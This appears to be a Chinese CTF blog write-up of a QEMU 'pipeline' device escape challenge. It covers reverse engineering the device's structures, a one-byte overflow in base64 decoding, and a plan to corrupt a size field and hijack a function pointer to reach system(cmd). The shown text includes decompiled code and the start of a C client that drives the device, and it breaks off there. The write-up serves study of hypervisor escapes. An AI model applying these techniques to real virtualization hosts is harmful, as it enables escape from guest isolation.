<span class="mi">000000</span><span class="n">f0</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">63</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mi">15</span><span class="n">c0</span><span class="err">│</span> <span class="p">:</span><span class="mi">00</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span>
<span class="mi">00000100</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">65</span> <span class="err">│</span><span class="mi">00</span> <span class="mi">0</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">000</span> <span class="err">│</span><span class="mi">400</span><span class="n">e</span><span class="err">│</span>
<span class="mi">00000110</span> <span class="mi">64</span> <span class="mi">37</span> <span class="mi">37</span> <span class="mi">39</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">64</span> <span class="mi">38</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="err">│</span><span class="n">d779</span><span class="err">│</span> <span class="mi">401</span><span class="err">│</span><span class="mi">315</span><span class="n">d</span><span class="err">│</span><span class="mi">8</span> <span class="err">··│</span>
<span class="mi">00000120</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">64</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">34</span> <span class="mi">30</span> <span class="err">│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mi">15</span><span class="n">d0</span><span class="err">│</span> <span class="p">:</span><span class="mi">40</span><span class="err">│</span>
<span class="mi">00000130</span> <span class="mi">32</span> <span class="mi">36</span> <span class="mi">63</span> <span class="mi">63</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">37</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">20</span> <span class="err">│</span><span class="mi">26</span><span class="n">cc</span><span class="err">│</span><span class="mi">00</span> <span class="mi">7</span><span class="err">│</span><span class="n">ffff</span><span class="err">│</span><span class="n">fff</span> <span class="err">│</span>
<span class="mi">00000140</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">64</span> <span class="mi">66</span> <span class="mi">36</span> <span class="mi">63</span> <span class="mi">66</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">66</span> <span class="mi">39</span> <span class="mi">36</span> <span class="mi">32</span> <span class="err">│</span><span class="mi">400</span><span class="n">d</span><span class="err">│</span><span class="n">f6cf</span><span class="err">│</span> <span class="mi">400</span><span class="err">│</span><span class="n">f962</span><span class="err">│</span>
<span class="mi">00000150</span> <span class="mi">63</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">65</span> <span class="mi">30</span> <span class="err">│</span><span class="n">c</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mf">15e0</span><span class="err">│</span>
<span class="mi">00000160</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="err">│</span> <span class="p">:</span><span class="mi">00</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">00</span> <span class="err">·│····│</span>
<span class="mi">00000170</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="err">│·</span><span class="o">***</span><span class="err">│</span><span class="o">****</span><span class="err">│</span><span class="o">****</span><span class="err">│</span><span class="o">****</span><span class="err">│</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">l</span> <span class="o">=</span> <span class="p">[</span><span class="s">"67616c66"</span><span class="p">,</span><span class="s">"7261487b"</span><span class="p">,</span><span class="s">"64686f6d"</span><span class="p">,</span><span class="s">"69724466"</span><span class="p">,</span><span class="s">"43656d76"</span><span class="p">,</span><span class="s">"74707972"</span><span class="p">,</span><span class="s">"7d797a6f"</span><span class="p">]</span>
<span class="n">f</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
<span class="n">f</span> <span class="o">+=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">i</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">flag</span><span class="p">{</span><span class="n">HarmohdfDrivmeCryptozy</span><span class="p">}</span>
</code></pre></div></div>老板娘总共5道嵌入式赛题,全部非预期…XCTF 华为高校挑战赛决赛 QEMU pipeline2022-09-19T00:00:00+00:002022-09-19T00:00:00+00:00https://xuanxuanblingbling.github.io/ctf/pwn/2022/09/19/qemu<blockquote>
<p>第一次在比赛中做出QEMU赛题,难度不大,6解,800分。漏洞点为:在目标代码进行base64解码时,数据长度限制由于除法忽略小数点后数据,进而产生的单字节溢出。溢出可以覆盖掉题目中的关键数据结构的size成员(<code class="language-plaintext highlighter-rouge">PipeLineState.decPipe[3].size</code>),进而可以越界读写题目中的函数指针,完成地址信息泄露以及控制流劫持。并且通过此函数指针可以简单的完成system(cmd)的调用,最终读取flag。</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/rank.png" alt="image" /></p>
<ul>
<li>附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/huawei/pipeline_attachments.zip">pipeline_attachments.zip</a></li>
</ul>
<h2 id="准备">准备</h2>
<blockquote>
<p>前期知识:<a href="https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/">QEMU 逃逸 潦草笔记</a></p>
</blockquote>
<p>确认题目qemu有符号,分析应该不难:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">file</span> <span class="n">qemu</span><span class="o">-</span><span class="n">system</span><span class="o">-</span><span class="n">x86_64</span>
<span class="n">qemu</span><span class="o">-</span><span class="n">system</span><span class="o">-</span><span class="n">x86_64</span><span class="o">:</span> <span class="n">ELF</span> <span class="mi">64</span><span class="o">-</span><span class="n">bit</span> <span class="n">LSB</span> <span class="n">pie</span> <span class="n">executable</span><span class="p">,</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span><span class="p">,</span> <span class="n">version</span> <span class="mi">1</span> <span class="p">(</span><span class="n">SYSV</span><span class="p">),</span> <span class="n">dynamically</span> <span class="n">linked</span><span class="p">,</span>
<span class="n">interpreter</span> <span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">x86</span><span class="o">-</span><span class="mi">64</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="p">,</span> <span class="k">for</span> <span class="n">GNU</span><span class="o">/</span><span class="n">Linux</span> <span class="mi">3</span><span class="p">.</span><span class="mi">2</span><span class="p">.</span><span class="mi">0</span><span class="p">,</span> <span class="n">with</span> <span class="n">debug_info</span><span class="p">,</span> <span class="n">not</span> <span class="n">stripped</span>
</code></pre></div></div>
<p>删掉启动脚本中的timeout让程序正常启动:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#!/bin/bash
</span><span class="p">.</span><span class="o">/</span><span class="n">qemu</span><span class="o">-</span><span class="n">system</span><span class="o">-</span><span class="n">x86_64</span> \
<span class="o">-</span><span class="n">m</span> <span class="mi">1</span><span class="n">G</span> \
<span class="o">-</span><span class="n">initrd</span> <span class="p">.</span><span class="o">/</span><span class="n">rootfs</span><span class="p">.</span><span class="n">cpio</span> \
<span class="o">-</span><span class="n">nographic</span> \
<span class="o">-</span><span class="n">kernel</span> <span class="p">.</span><span class="o">/</span><span class="n">vmlinuz</span><span class="o">-</span><span class="mi">5</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="o">-</span><span class="n">generic</span> \
<span class="o">-</span><span class="n">L</span> <span class="n">pc</span><span class="o">-</span><span class="n">bios</span><span class="o">/</span> \
<span class="o">-</span><span class="n">append</span> <span class="s">"priority=low console=ttyS0"</span> \
<span class="o">-</span><span class="n">monitor</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">null</span> \
<span class="o">-</span><span class="n">device</span> <span class="n">pipeline</span>
</code></pre></div></div>
<p>cpio解包与打包:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">mkdir</span> <span class="n">rootfs</span><span class="p">;</span> <span class="n">cd</span> <span class="n">rootfs</span>
<span class="err">➜</span> <span class="n">cpio</span> <span class="o">-</span><span class="n">idvm</span> <span class="o"><</span> <span class="p">..</span><span class="o">/</span><span class="n">rootfs</span><span class="p">.</span><span class="n">img</span>
<span class="err">➜</span> <span class="n">find</span> <span class="p">.</span> <span class="o">|</span> <span class="n">cpio</span> <span class="o">-</span><span class="n">H</span> <span class="n">newc</span> <span class="o">-</span><span class="n">o</span> <span class="o">></span> <span class="p">..</span><span class="o">/</span><span class="n">rootfs</span><span class="p">.</span><span class="n">cpio</span>
</code></pre></div></div>
<h2 id="逆向">逆向</h2>
<p>目标设备为pipeline,并且qemu有符号,所以直接在IDA中搜索pipeline函数,发现本题mmio和pmio都有实现,所以主要关注以下四个函数:</p>
<ul>
<li>pipeline_mmio_read</li>
<li>pipeline_mmio_write</li>
<li>pipeline_pmio_read</li>
<li>pipeline_pmio_write</li>
</ul>
<p>虽然有符号,但对于以上四个函数的第一个参数的类型,仍然没有自动识别,因此需要手工转换opaque参数的类型为PipeLineState,方法如下:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/change.png" alt="image" /></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/change2.png" alt="image" /></p>
<p>转换完参数类型后,结果如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">uint64_t</span> <span class="kr">__cdecl</span> <span class="nf">pipeline_mmio_read</span><span class="p">(</span><span class="n">PipeLineState</span> <span class="o">*</span><span class="n">opaque</span><span class="p">,</span> <span class="n">hwaddr</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// rdx</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">sizea</span><span class="p">;</span> <span class="c1">// [rsp+0h] [rbp-34h]</span>
<span class="kt">int</span> <span class="n">pIdx</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-14h]</span>
<span class="n">pIdx</span> <span class="o">=</span> <span class="n">opaque</span><span class="o">-></span><span class="n">pIdx</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">pIdx</span> <span class="o">>=</span> <span class="mi">8</span> <span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1LL</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">size</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1LL</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">pIdx</span> <span class="o">></span> <span class="mi">3</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">sizea</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">opaque</span><span class="o">-></span><span class="n">encPipe</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">data</span><span class="p">[</span><span class="mi">68</span> <span class="o">*</span> <span class="n">pIdx</span> <span class="o">+</span> <span class="mi">12</span><span class="p">];</span>
<span class="n">v4</span> <span class="o">=</span> <span class="mi">68LL</span> <span class="o">*</span> <span class="p">(</span><span class="n">pIdx</span> <span class="o">-</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="mi">3152</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="n">sizea</span> <span class="o">=</span> <span class="n">opaque</span><span class="o">-></span><span class="n">encPipe</span><span class="p">[</span><span class="n">pIdx</span><span class="p">].</span><span class="n">size</span><span class="p">;</span>
<span class="n">v4</span> <span class="o">=</span> <span class="mi">96LL</span> <span class="o">*</span> <span class="n">pIdx</span> <span class="o">+</span> <span class="mi">2768</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">addr</span> <span class="o"><</span> <span class="n">sizea</span> <span class="p">)</span>
<span class="k">return</span> <span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">opaque</span><span class="o">-></span><span class="n">pdev</span><span class="p">.</span><span class="n">qdev</span><span class="p">.</span><span class="n">parent_obj</span><span class="p">.</span><span class="n">free</span> <span class="o">+</span> <span class="n">v4</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span>
<span class="k">else</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1LL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>不过识别的代码中仍然有令人费解的部分,比如:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">opaque</span><span class="o">-></span><span class="n">pdev</span><span class="p">.</span><span class="n">qdev</span><span class="p">.</span><span class="n">parent_obj</span><span class="p">.</span><span class="n">free</span> <span class="o">+</span> <span class="n">v4</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span>
</code></pre></div></div>
<p>因为按道理这些功能代码应该读写opaque变量中的自定义数据,不应该使用什么pdev.qdev,所以需要进行分析。以上四个函数操作的数据主要操作的数据就是opaque变量,其结构体为PipeLineState,可以在IDA的Structures窗口中找到:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mo">00000000</span> <span class="n">PipeLineState</span> <span class="n">struc</span> <span class="p">;</span> <span class="p">(</span><span class="k">sizeof</span><span class="o">=</span><span class="mh">0xD80</span><span class="p">,</span> <span class="n">align</span><span class="o">=</span><span class="mh">0x10</span><span class="p">,</span> <span class="n">copyof_2451</span><span class="p">)</span>
<span class="mo">00000000</span> <span class="n">pdev</span> <span class="n">PCIDevice_0</span> <span class="o">?</span>
<span class="mo">00000</span><span class="mi">8</span><span class="n">F0</span> <span class="n">mmio</span> <span class="n">MemoryRegion_0</span> <span class="o">?</span>
<span class="mf">000009E0</span> <span class="n">pmio</span> <span class="n">MemoryRegion_0</span> <span class="o">?</span>
<span class="mo">00000</span><span class="n">AD0</span> <span class="n">pIdx</span> <span class="n">dd</span> <span class="o">?</span>
<span class="mo">00000</span><span class="n">AD4</span> <span class="n">encPipe</span> <span class="n">EncPipeLine</span> <span class="mi">4</span> <span class="n">dup</span><span class="p">(</span><span class="o">?</span><span class="p">)</span>
<span class="mo">00000</span><span class="n">C54</span> <span class="n">decPipe</span> <span class="n">DecPipeLine</span> <span class="mi">4</span> <span class="n">dup</span><span class="p">(</span><span class="o">?</span><span class="p">)</span>
<span class="mo">00000</span><span class="n">D64</span> <span class="n">db</span> <span class="o">?</span> <span class="p">;</span> <span class="n">undefined</span>
<span class="mo">00000</span><span class="n">D65</span> <span class="n">db</span> <span class="o">?</span> <span class="p">;</span> <span class="n">undefined</span>
<span class="mo">00000</span><span class="n">D66</span> <span class="n">db</span> <span class="o">?</span> <span class="p">;</span> <span class="n">undefined</span>
<span class="mo">00000</span><span class="n">D67</span> <span class="n">db</span> <span class="o">?</span> <span class="p">;</span> <span class="n">undefined</span>
<span class="mo">00000</span><span class="n">D68</span> <span class="n">encode</span> <span class="n">dq</span> <span class="o">?</span> <span class="p">;</span> <span class="n">offset</span>
<span class="mo">00000</span><span class="n">D70</span> <span class="n">decode</span> <span class="n">dq</span> <span class="o">?</span> <span class="p">;</span> <span class="n">offset</span>
<span class="mo">00000</span><span class="n">D78</span> <span class="n">strlen</span> <span class="n">dq</span> <span class="o">?</span> <span class="p">;</span> <span class="n">offset</span>
<span class="mo">00000</span><span class="n">D80</span> <span class="n">PipeLineState</span> <span class="n">ends</span>
</code></pre></div></div>
<p>经过分析pdev.qdev.parent_obj.free其实就是加8的偏移,所以这个令人费解的代码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">opaque</span><span class="o">-></span><span class="n">pdev</span><span class="p">.</span><span class="n">qdev</span><span class="p">.</span><span class="n">parent_obj</span><span class="p">.</span><span class="n">free</span> <span class="o">+</span> <span class="n">v4</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span>
</code></pre></div></div>
<p>其实就是:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">opaque</span> <span class="o">+</span> <span class="mi">8</span> <span class="o">+</span> <span class="n">v4</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span>
</code></pre></div></div>
<p>另外在pipeline_pmio_write有函数指针调用,其初始化在pipeline_instance_init函数中:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">pipeline_instance_init</span><span class="p">(</span><span class="n">Object_0</span> <span class="o">*</span><span class="n">obj</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+14h] [rbp-Ch]</span>
<span class="n">PipeLineState</span> <span class="o">*</span><span class="n">state</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span>
<span class="p">...</span>
<span class="n">state</span><span class="o">-></span><span class="n">encode</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">pipe_encode</span><span class="p">;</span>
<span class="n">state</span><span class="o">-></span><span class="n">decode</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="n">pipe_decode</span><span class="p">;</span>
<span class="n">state</span><span class="o">-></span><span class="n">strlen</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">))</span><span class="o">&</span><span class="n">strlen</span><span class="p">;</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>经过逆向分析结构体中主要的数据结构为<code class="language-plaintext highlighter-rouge">decPipe[4]</code>和<code class="language-plaintext highlighter-rouge">encPipe[4]</code>,其结构如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mo">00000000</span> <span class="n">EncPipeLine</span> <span class="n">struc</span> <span class="p">;</span> <span class="p">(</span><span class="k">sizeof</span><span class="o">=</span><span class="mh">0x60</span><span class="p">,</span> <span class="n">align</span><span class="o">=</span><span class="mh">0x4</span><span class="p">,</span> <span class="n">copyof_2449</span><span class="p">)</span>
<span class="mo">00000000</span> <span class="p">;</span> <span class="n">XREF</span><span class="o">:</span> <span class="n">PipeLineState</span><span class="o">/</span><span class="n">r</span>
<span class="mo">00000000</span> <span class="n">size</span> <span class="n">dd</span> <span class="o">?</span>
<span class="mo">00000004</span> <span class="n">data</span> <span class="n">db</span> <span class="mi">92</span> <span class="n">dup</span><span class="p">(</span><span class="o">?</span><span class="p">)</span>
<span class="mo">00000060</span> <span class="n">EncPipeLine</span> <span class="n">ends</span>
<span class="mo">00000000</span> <span class="n">DecPipeLine</span> <span class="n">struc</span> <span class="p">;</span> <span class="p">(</span><span class="k">sizeof</span><span class="o">=</span><span class="mh">0x44</span><span class="p">,</span> <span class="n">align</span><span class="o">=</span><span class="mh">0x4</span><span class="p">,</span> <span class="n">copyof_2450</span><span class="p">)</span>
<span class="mo">00000000</span> <span class="p">;</span> <span class="n">XREF</span><span class="o">:</span> <span class="n">PipeLineState</span><span class="o">/</span><span class="n">r</span>
<span class="mo">00000000</span> <span class="n">size</span> <span class="n">dd</span> <span class="o">?</span>
<span class="mo">00000004</span> <span class="n">data</span> <span class="n">db</span> <span class="mi">64</span> <span class="n">dup</span><span class="p">(</span><span class="o">?</span><span class="p">)</span>
<span class="mo">00000044</span> <span class="n">DecPipeLine</span> <span class="n">ends</span>
</code></pre></div></div>
<p>函数主要功能如下:</p>
<ul>
<li>pipeline_mmio_read: 读encPipe/decPipe中data</li>
<li>pipeline_mmio_write:写encPipe/decPipe中data</li>
<li>pipeline_pmio_read: 0->读pIdx,4->读pIdx对应的size</li>
<li>pipeline_pmio_write:0->写pIdx,4->写pIdx对应的size,12->b64encode,16->b64decode</li>
</ul>
<p>编解码会在<code class="language-plaintext highlighter-rouge">encPipe[4]</code>和<code class="language-plaintext highlighter-rouge">decPipe[4]</code>数组中对应的来回倒腾,所以主要是个base64编解码的功能,使用功能如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
</span>
<span class="kt">void</span> <span class="o">*</span> <span class="n">mmio</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">port_base</span> <span class="o">=</span> <span class="mh">0xc040</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">pmio_write</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">,</span> <span class="kt">int</span> <span class="n">val</span><span class="p">){</span> <span class="n">outl</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">void</span> <span class="nf">mmio_write</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">char</span> <span class="n">value</span><span class="p">){</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">)</span> <span class="o">=</span> <span class="n">value</span><span class="p">;}</span>
<span class="kt">int</span> <span class="nf">pmio_read</span><span class="p">(</span><span class="kt">int</span> <span class="n">port</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">inl</span><span class="p">(</span><span class="n">port_base</span> <span class="o">+</span> <span class="n">port</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">char</span> <span class="nf">mmio_read</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">addr</span><span class="p">){</span> <span class="k">return</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">mmio</span> <span class="o">+</span> <span class="n">addr</span><span class="p">);</span> <span class="p">}</span>
<span class="kt">void</span> <span class="nf">write_block</span><span class="p">(</span><span class="kt">int</span> <span class="n">idx</span><span class="p">,</span><span class="kt">int</span> <span class="n">size</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">data</span><span class="p">){</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">idx</span><span class="p">);</span> <span class="n">pmio_write</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="n">size</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">strlen</span><span class="p">(</span><span class="n">data</span><span class="p">);</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">mmio_write</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">offset</span><span class="p">,</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">read_block</span><span class="p">(</span><span class="kt">int</span> <span class="n">idx</span><span class="p">,</span><span class="kt">int</span> <span class="n">size</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">data</span><span class="p">){</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">idx</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="n">size</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">mmio_read</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">offset</span><span class="p">);}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="c1">// init mmio and pmio</span>
<span class="n">iopl</span><span class="p">(</span><span class="mi">3</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">mmio_fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/sys/devices/pci0000:00/0000:00:04.0/resource0"</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_SYNC</span><span class="p">);</span>
<span class="n">mmio</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_SHARED</span><span class="p">,</span> <span class="n">mmio_fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">b64e</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"eHVhbnh1YW4="</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">write_block</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0x5c</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">b64e</span><span class="p">);</span>
<span class="n">pmio_write</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// b64decode block 2 to block 6</span>
